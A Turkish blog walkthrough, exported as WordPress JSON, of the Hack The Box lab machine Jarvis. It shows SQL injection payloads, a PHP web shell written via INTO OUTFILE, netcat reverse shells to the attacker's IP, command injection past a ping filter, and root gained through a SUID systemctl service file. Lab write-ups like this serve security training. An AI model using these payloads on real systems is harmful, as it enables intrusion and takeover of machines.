{"id":1518,"date":"2021-08-17T13:02:21","date_gmt":"2021-08-17T13:02:21","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1518"},"modified":"2021-08-17T13:02:21","modified_gmt":"2021-08-17T13:02:21","slug":"jarvis","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/08\/17\/jarvis\/","title":{"rendered":"Jarvis"},"content":{"rendered":"\n\n\n\n\n
Makine Ad\u0131<\/th>\nSeviye<\/th>\nOS<\/th>\nLogo<\/th>\n<\/tr>\n<\/thead>\n
Jarvis<\/a> - HTB<\/td>\nOrta<\/td>\nLinux<\/td>\n\"\"<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

Walkthrough<\/h2>\n

nmap taramas\u0131 ile ba\u015flayal\u0131m.<\/p>\n

\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)\n| ssh-hostkey:\n|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)\n|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)\n|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)\n80\/tcp open  http    Apache httpd 2.4.25 ((Debian))\n| http-cookie-flags:\n|   \/:\n|     PHPSESSID:\n|_      httponly flag not set\n|_http-server-header: Apache\/2.4.25 (Debian)\n|_http-title: Stark Hotel\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n64999\/tcp open  http    Apache httpd 2.4.25 ((Debian))\n|_http-server-header: Apache\/2.4.25 (Debian)\n|_http-title: Site doesn't have a title (text\/html).\n<\/code><\/pre>\n
80 portuna gitti\u011fimde http:\/\/10.10.10.143\/room.php?cod=5<\/a><\/strong> adresinde sqli olabilece\u011fini d\u00fc\u015f\u00fcnd\u00fcm ve basit testler ger\u00e7ekle\u015ftirdim. sqlmap kullanmadan baz\u0131 i\u015flemler yap\u0131p bir web shell olu\u015fturabildim.<\/p>\n
http:\/\/10.10.10.143\/room.php?cod=5<\/a><\/strong> adresi ile http:\/\/10.10.10.143\/room.php?cod=6-1<\/a><\/strong> adresi bana an\u0131 sonucu getiriyordu asl\u0131nda kolay bir \u015fekilde sunucu taraf\u0131nda 6-1=5 i\u015flemi ger\u00e7ekle\u015ftirdik ve sql injection yapt\u0131k. Bunun \u00fczerine order by y\u00f6ntemi ile ka\u00e7 adet s\u00fct\u00fcn oldu\u011funu anlamaya \u00e7al\u0131\u015ft\u0131m. http:\/\/10.10.10.143\/room.php?cod=6<\/a> order by 8 <\/strong> sonucunda sayfa beklendi\u011fi gibi \u00e7al\u0131\u015fmad\u0131 bu bize selkect sorgusunda 7 s\u00fct\u00fcn oldu\u011fu anlam\u0131na gelmektedir. Binary search y\u00f6ntem ile a\u015fa\u011f\u0131daki payloadlar arac\u0131l\u0131\u011f\u0131yla database ismini elde edebildim. A\u015fa\u011f\u0131da binary search olarak de\u011fil normal bir \u015fekilde kar\u015f\u0131la\u015ft\u0131rma i\u015fleminin nas\u0131l yap\u0131ld\u0131\u011f\u0131n\u0131 g\u00f6stermekteyim. <\/p>\n
http:\/\/10.10.10.143\/room.php?cod=6<\/a> union select 1,2,3,4,5,6,(select IF(substring((select SCHEMA_NAME from information_schema.SCHEMATA limit 1), 1,1) = 'h' , sleep(5), 'as')) <\/strong>  Bu payload asl\u0131nda \u015fu anlama gelmektedir:<\/p>\n
    \n
  1. information_schema db'sinde SCHEMATA tablosunun SCHEMA_NAME s\u00fct\u00fcnunun ilk sonucunu al.<\/li>\n
  2. substring ile ifadenin ilk de\u011ferini al.<\/li>\n
  3. if ile ilk de\u011ferin h harfine e\u015fit olup olmad\u0131\u011f\u0131n\u0131 tespit et. E\u011fer e\u015fitse 5 saniye bekle.<\/li>\n<\/ol>\n
    Tabi ki bu y\u00f6ntemi python ile h\u0131zl\u0131 bir \u015fekilde yapabiliriz. Udemy kursumda bunu daha \u00f6ncesine yapm\u0131\u015ft\u0131m ancak kontrollere devam ederken yazabilme hakk\u0131m\u0131n oldu\u011funu anlad\u0131m ve hemen bir web shel olu\u015fturdum. select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE '\/var\/www\/html\/kuday.php'<\/code> payload\u0131n\u0131 kullanaca\u011f\u0131z.<\/p>\n
    10.10.10.143\/room.php?cod=6 union select 1,2,3,4,5,6,"<?php echo shell_exec($_GET['c']);?>" into OUTFILE "\/var\/www\/html\/kuday.php"\n<\/code><\/pre>\n
    Bu a\u015famadan sonra reverse alabildim. http:\/\/10.10.10.143\/kuday.php?c=nc%2010.10.14.17%204444%20-e%20\/bin\/bash<\/a><\/strong> adresine istek att\u0131\u011f\u0131mda reverse elde ettim.<\/p>\n
    \n\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# nc -lvp 4444\nlistening on [any] 4444 ...\nconnect to [10.10.14.17] from supersecurehotel.htb [10.10.10.143] 59692\nid\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\nwhich python\n\/usr\/bin\/python\npython -c 'import pty; pty.spawn("\/bin\/bash")'\nwww-data@jarvis:\/var\/www\/html$<\/code><\/pre>\n
    \u0130ncelemeler yaparken mysql credential'lar\u0131 yakalad\u0131m ancak bir i\u015fime yaramad\u0131. \u0130\u015fime yarayacak \u015fey sudo'da...<\/p>\n
    \nwww-data@jarvis:\/var\/www\/Admin-Utilities$ sudo -l\nsudo -l\nMatching Defaults entries for www-data on jarvis:\n    env_reset, mail_badpass,\n    secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser www-data may run the following commands on jarvis:\n    (pepper : ALL) NOPASSWD: \/var\/www\/Admin-Utilities\/simpler.py<\/code><\/pre>\n
    Bunu n \u00fczerine python kodunu okudum.<\/p>\n
    \nwww-data@jarvis:\/var\/www\/Admin-Utilities$ cat simpler.py\ncat simpler.py\n#!\/usr\/bin\/env python3\nfrom datetime import datetime\nimport sys\nimport os\nfrom os import listdir\nimport re\n\ndef show_help():\n    message='''\n********************************************************\n* Simpler   -   A simple simplifier ;)                 *\n* Version 1.0                                          *\n********************************************************\nUsage:  python3 simpler.py [options]\n\nOptions:\n    -h\/--help   : This help\n    -s          : Statistics\n    -l          : List the attackers IP\n    -p          : ping an attacker IP\n    '''\n    print(message)\n\ndef show_header():\n    print('''***********************************************\n     _                 _                      \n ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _\n\/ __| | '_ ` _ \\| '_ \\| |\/ _ \\ '__| '_ \\| | | |\n\\__ \\ | | | | | | |_) | |  __\/ |_ | |_) | |_| |\n|___\/_|_| |_| |_| .__\/|_|\\___|_(_)| .__\/ \\__, |\n                |_|               |_|    |___\/\n                                @ironhackers.es\n\n***********************************************\n''')\n\ndef show_statistics():\n    path = '\/home\/pepper\/Web\/Logs\/'\n    print('Statistics\\n-----------')\n    listed_files = listdir(path)\n    count = len(listed_files)\n    print('Number of Attackers: ' + str(count))\n    level_1 = 0\n    dat = datetime(1, 1, 1)\n    ip_list = []\n    reks = []\n    ip = ''\n    req = ''\n    rek = ''\n    for i in listed_files:\n        f = open(path + i, 'r')\n        lines = f.readlines()\n        level2, rek = get_max_level(lines)\n        fecha, requ = date_to_num(lines)\n        ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]\n        if fecha > dat:\n            dat = fecha\n            req = requ\n            ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]\n        if int(level2) > int(level_1):\n            level_1 = level2\n            ip_list = [ip]\n            reks=[rek]\n        elif int(level2) == int(level_1):\n            ip_list.append(ip)\n            reks.append(rek)\n        f.close()\n\n    print('Most Risky:')\n    if len(ip_list) > 1:\n        print('More than 1 ip found')\n    cont = 0\n    for i in ip_list:\n        print('    ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])\n        cont = cont + 1\n\n    print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)\n\ndef list_ip():\n    print('Attackers\\n-----------')\n    path = '\/home\/pepper\/Web\/Logs\/'\n    listed_files = listdir(path)\n    for i in listed_files:\n        f = open(path + i,'r')\n        lines = f.readlines()\n        level,req = get_max_level(lines)\n        print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)\n        f.close()\n\ndef date_to_num(lines):\n    dat = datetime(1,1,1)\n    ip = ''\n    req=''\n    for i in lines:\n        if 'Level' in i:\n            fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\\n')[0]\n            regex = '(\\d+)-(.*)-(\\d+)(.*)'\n            logEx=re.match(regex, fecha).groups()\n            mes = to_dict(logEx[1])\n            fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]\n            fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')\n            if fecha > dat:\n                dat = fecha\n                req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]\n    return dat, req\n\ndef to_dict(name):\n    month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}\n    return month_dict[name]\n\ndef get_max_level(lines):\n    level=0\n    for j in lines:\n        if 'Level' in j:\n            if int(j.split(' ')[4]) > int(level):\n                level = j.split(' ')[4]\n                req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]\n    return level, req\n\ndef exec_ping():\n    forbidden = ['&', ';', '-', '`', '||', '|']\n    command = input('Enter an IP: ')\n    for i in forbidden:\n        if i in command:\n            print('Got you')\n            exit()\n    os.system('ping ' + command)\n\nif __name__ == '__main__':\n    show_header()\n    if len(sys.argv) != 2:\n        show_help()\n        exit()\n    if sys.argv[1] == '-h' or sys.argv[1] == '--help':\n        show_help()\n        exit()\n    elif sys.argv[1] == '-s':\n        show_statistics()\n        exit()\n    elif sys.argv[1] == '-l':\n        list_ip()\n        exit()\n    elif sys.argv[1] == '-p':\n        exec_ping()\n        exit()\n    else:\n        show_help()\n        exit()\n<\/code><\/pre>\n
    Asl\u0131nda ilgilendi\u011fimiz k\u0131s\u0131m a\u015fa\u011f\u0131daki alan:<\/p>\n
    \ndef exec_ping():\n    forbidden = ['&', ';', '-', '`', '||', '|']\n    command = input('Enter an IP: ')\n    for i in forbidden:\n        if i in command:\n            print('Got you')\n            exit()\n    os.system('ping ' + command)<\/code><\/pre>\n
    G\u00f6r\u00fcld\u00fc\u011f\u00fc \u00fczere baz\u0131 filtreler uygulan\u0131lm\u0131\u015f ancak bash \u00fczerinde komut i\u00e7inde komut \u00e7al\u0131\u015ft\u0131rabiliriz. Bunu \u00e7ok\u00e7a kullan\u0131r\u0131m. \u00d6zellikle kendi yazd\u0131\u011f\u0131m web shell'lerde...<\/p>\n
    www-data@jarvis:\/var\/www\/Admin-Utilities$ sudo -u pepper \/var\/www\/Admin-Utilities\/simpler.py -p\n<do -u pepper \/var\/www\/Admin-Utilities\/simpler.py -p\n***********************************************\n     _                 _                      \n ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _\n\/ __| | '_ ` _ \\| '_ \\| |\/ _ \\ '__| '_ \\| | | |\n\\__ \\ | | | | | | |_) | |  __\/ |_ | |_) | |_| |\n|___\/_|_| |_| |_| .__\/|_|\\___|_(_)| .__\/ \\__, |\n                |_|               |_|    |___\/\n                                @ironhackers.es\n\n***********************************************\n\nEnter an IP: $(\/bin\/bash) 10.10.14.17\n$(\/bin\/bash) 10.10.14.17\npepper@jarvis:\/var\/www\/Admin-Utilities$\npepper@jarvis:\/var\/www\/Admin-Utilities$ nc 10.10.14.17 1111 -e \/bin\/bash\nnc 10.10.14.17 1111 -e \/bin\/bash\n<\/code><\/pre>\n
    \n\u250c\u2500\u2500(root💀kali)-[~\/tool\/PEASS-ng\/linPEAS]\n\u2514\u2500# nc -lvp 1111\nlistening on [any] 1111 ...\nconnect to [10.10.14.17] from supersecurehotel.htb [10.10.10.143] 58946\nid\nuid=1000(pepper) gid=1000(pepper) groups=1000(pepper)\n<\/code><\/pre>\n
    Normal ilk shell'imiz a\u00e7\u0131ld\u0131\u011f\u0131nda outputlar\u0131 basha stdout k\u0131sm\u0131na gidiyordu bunun \u00fczerine nc ile yeni bir stdout alan\u0131 olu\u015fturmaya karar verdim.<\/p>\n
    Linpeas.sh ile analizlerime devam ederken suid bitler dikkatimi \u00e7ekti.<\/p>\n
    \n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 Interesting Files \u2560\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 SUID - Check easy privesc, exploits and write perms\n\u255a https:\/\/book.hacktricks.xyz\/linux-unix\/privilege-escalation#sudo-and-suid\nstrace Not Found\n-rwsr-xr-x 1 root root 31K Aug 21  2018 \/bin\/fusermount (Unknown SUID binary)\n-rwsr-xr-x 1 root root 44K Mar  7  2018 \/bin\/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8\n-rwsr-xr-x 1 root root 60K Nov 10  2016 \/bin\/ping\n-rwsr-x--- 1 root pepper 171K Feb 17  2019 \/bin\/systemctl\n-rwsr-xr-x 1 root root 31K Mar  7  2018 \/bin\/umount  --->  BSD\/Linux(08-1996)\n: \n-rwsr-xr-x 1 root root 40K May 17  2017 \/bin\/su\n---s--s--x 1 pepper pepper 171K Aug 16 19:50 \/home\/pepper\/Web\/Logs\/systemctl\n-rwsr-xr-x 1 root root 40K May 17  2017 \/usr\/bin\/newgrp  --->  HP-UX_10.20\n-rwsr-xr-x 1 root root 59K May 17  2017 \/usr\/bin\/passwd  --->  Apple_Mac_OSX(03-2006)\/Solaris_8\/9(12-2004)\/SPARC_8\/9\/Sun_Solaris_2.3_to_2.5.1(02-1997)\n-rwsr-xr-x 1 root root 75K May 17  2017 \/usr\/bin\/gpasswd\n-rwsr-xr-x 1 root root 40K May 17  2017 \/usr\/bin\/chsh (Unknown SUID binary)\n-rwsr-xr-x 1 root root 138K Jun  5  2017 \/usr\/bin\/sudo  --->  check_if_the_sudo_version_is_vulnerable\n-rwsr-xr-x 1 root root 49K May 17  2017 \/usr\/bin\/chfn  --->  SuSE_9.3\/10\n-rwsr-xr-x 1 root root 10K Mar 28  2017 \/usr\/lib\/eject\/dmcrypt-get-device (Unknown SUID binary)\n-rwsr-xr-x 1 root root 431K Mar  1  2019 \/usr\/lib\/openssh\/ssh-keysign\n-rwsr-xr-- 1 root messagebus 42K Mar  2  2018 \/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper (Unknown SUID binary)\n<\/code><\/pre>\n
    https:\/\/gtfobins.github.io\/gtfobins\/systemctl\/#suid<\/a><\/strong> adresi yard\u0131m\u0131yla root oldum.<\/p>\n
    \n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Jarvis]\n\u2514\u2500# cat kuday.service            \n[Unit]\nDescription=roooooooooot\n\n[Service]\nType=simple\nUser=root\nExecStart=\/bin\/sh -c "nc 10.10.14.17 9999 -e \/bin\/bash"\n\n[Install]\nWantedBy=multi-user.target\n<\/code><\/pre>\n
    Kendi bilgisayar\u0131mda bir service dosyas\u0131 olu\u015fturup bunu kar\u015f\u0131 makinaya yollad\u0131m.<\/p>\n
    \npepper@jarvis:~$ wget http:\/\/10.10.14.17\/kuday.service \nwget http:\/\/10.10.14.17\/kuday.service \n--2021-08-17 08:27:58--  http:\/\/10.10.14.17\/kuday.service\nConnecting to 10.10.14.17:80... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 159 [application\/octet-stream]\nSaving to: 'kuday.service'\n\nkuday.service       100%[===================>]     159  --.-KB\/s    in 0s      \n\n2021-08-17 08:27:58 (21.6 MB\/s) - 'kuday.service' saved [159\/159]\n<\/code><\/pre>\n
    \npepper@jarvis:~$ \/bin\/systemctl link \/home\/pepper\/kuday.service\n\/bin\/systemctl link \/home\/pepper\/kuday.service\nCreated symlink \/etc\/systemd\/system\/kuday.service -> \/home\/pepper\/kuday.service.\npepper@jarvis:~$ \/bin\/systemctl enable --now \/home\/pepper\/kuday.service\n\/bin\/systemctl enable --now \/home\/pepper\/kuday.service\nCreated symlink \/etc\/systemd\/system\/multi-user.target.wants\/kuday.service -> \/home\/pepper\/kuday.service.\npepper@jarvis:~$ \/bin\/systemctl enable --now \/home\/pepper\/kuday.service\n\/bin\/systemctl enable --now \/home\/pepper\/kuday.service\npepper@jarvis:~$ \/bin\/systemctl start kuday\n\/bin\/systemctl start kuday<\/code><\/pre>\n
    \n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Jarvis]\n\u2514\u2500# nc -lvp 9999                 \nlistening on [any] 9999 ...\n10.10.10.143: inverse host lookup failed: Unknown host\nconnect to [10.10.14.17] from (UNKNOWN) [10.10.10.143] 45574\nid\nuid=0(root) gid=0(root) groups=0(root)\ncd \/root\nls\nclean.sh\nroot.txt\nsqli_defender.py\ncat root.txt\nd41d8cd98f00b204e9800998ecf84271<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
    Makine Ad\u0131 Seviye OS Logo Jarvis – HTB Orta Linux Walkthrough nmap taramas\u0131 ile ba\u015flayal\u0131m. PORT STATE SERVICE VERSION 22\/tcp open ssh OpenSSH 7.4p1 Debian…<\/p>\n
    Devam\u0131n\u0131 okuJarvis<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[612],"class_list":["post-1518","post","type-post","status-publish","format-standard","hentry","category-walkthrough","tag-systemctl","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1518","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1518"}],"version-history":[{"count":1,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1518\/revisions"}],"predecessor-version":[{"id":1519,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1518\/revisions\/1519"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1518"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1518"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1518"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}